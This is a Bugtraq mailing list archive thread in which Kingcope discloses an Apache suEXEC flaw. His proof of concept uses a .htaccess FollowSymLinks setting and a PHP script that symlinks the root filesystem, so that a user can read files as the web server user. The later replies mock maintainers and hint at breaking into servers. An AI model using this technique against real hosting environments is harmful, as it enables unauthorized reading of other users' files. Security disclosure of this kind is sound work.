Home page logo
/

bugtraq logo Bugtraq mailing list archives

Re: Apache suEXEC privilege elevation / information disclosure
From: Kingcope <isowarez.isowarez.isowarez () googlemail com>
Date: Fri, 9 Aug 2013 16:33:21 +0700

So the blackhat that Sits on ur Site and the site of ur company Since half a year  will stop at the point Where its 
"technically incorrect" and wont escalate to root because "it doesnt have to do Anything with suexec". Its an Old vuln 
so let it stay , better for us and soon our Data on your boxes.

Time to Write a Real Root exploit and dont waste the Time with sysadmins that know how to set a flag in httpd.conf   , 
apache devs included.

Am 09.08.2013 um 14:29 schrieb Kingcope <isowarez.isowarez.isowarez () googlemail com>:

So what your Emails Tell me is better ignore this vulnerability. I dont Claim its a High severity Bug but if you Tell 
People to ignore it Because it isnt a vulnerability you are very much aiding the Chaos of insecurity in the Internet 
today. You Maybe have a Secure Setting but theres only you on the Planet. Attackers Look specifically for such Bugs 
to Open Servers. No Wonder we have compromises in a High Scale every Day due to this ignorance. My rant on that One.

Am 07.08.2013 um 21:49 schrieb king cope <isowarez.isowarez.isowarez () googlemail com>:

Apache suEXEC privilege elevation / information disclosure

Discovered by Kingcope/Aug 2013

The suEXEC feature provides Apache users the ability to run CGI and SSI programs
under user IDs different from the user ID of the calling web server. Normally,
when a CGI or SSI program executes, it runs as the same user who is running the
web server.
Used properly, this feature can reduce considerably the security risks involved
with allowing users to develop and run private CGI or SSI programs.

With this bug an attacker who is able to run php or cgi code inside a web
hosting environment and the environment is configured to use suEXEC as a
protection mechanism, he/she is able to read any file and directory on the file-
system of the UNIX/Linux system with the user and group id of the
apache web server.

Normally php and cgi scripts are not allowed to read files with the apache user-
id inside a suEXEC configured environment.

Take for example this apache owned file and the php script that follows.

$ ls -la /etc/testapache
-rw------- 1 www-data www-data 36 Aug  7 16:28 /etc/testapache
only user www-data should be able to read this file.

$ cat test.php
<?php
      system("id; cat /etc/testapache");
?>

When calling the php file using a webbrowser it will show...
uid=1002(example) gid=1002(example) groups=1002(example)

because the php script is run trough suEXEC.
The script will not output the file requested because of a permissions error.

Now if we create a .htaccess file with the content...
Options Indexes FollowSymLinks

and a php script with the content...

<?php
      system("ln -sf / test99.php");
      symlink("/", "test99.php"); // try builtin function in case when
                                  //system() is blocked
?>
in the same folder

..we can access the root filesystem with the apache uid,gid by
requesting test99.php.
The above php script will simply create a symbolic link to '/'.

A request to test99.php/etc/testapache done with a web browser shows..
voila! read with the apache uid/gid

The reason we can now read out any files and traverse directories owned by the
apache user is because apache httpd displays symlinks and directory listings
without querying suEXEC.
It is not possible to write to files in this case.

Version notes. Assumed is that all Apache versions are affected by this bug.

apache2 -V
Server version: Apache/2.2.22 (Debian)
Server built:   Mar  4 2013 21:32:32
Server's Module Magic Number: 20051115:30
Server loaded:  APR 1.4.6, APR-Util 1.4.1
Compiled using: APR 1.4.6, APR-Util 1.4.1
Architecture:   32-bit
Server MPM:     Worker
threaded:     yes (fixed thread count)
  forked:     yes (variable process count)
Server compiled with....
-D APACHE_MPM_DIR="server/mpm/worker"
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_SYSVSEM_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=128
-D HTTPD_ROOT="/etc/apache2"
-D SUEXEC_BIN="/usr/lib/apache2/suexec"
-D DEFAULT_PIDLOG="/var/run/apache2.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="mime.types"
-D SERVER_CONFIG_FILE="apache2.conf"

Cheers,
/Kingcope


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]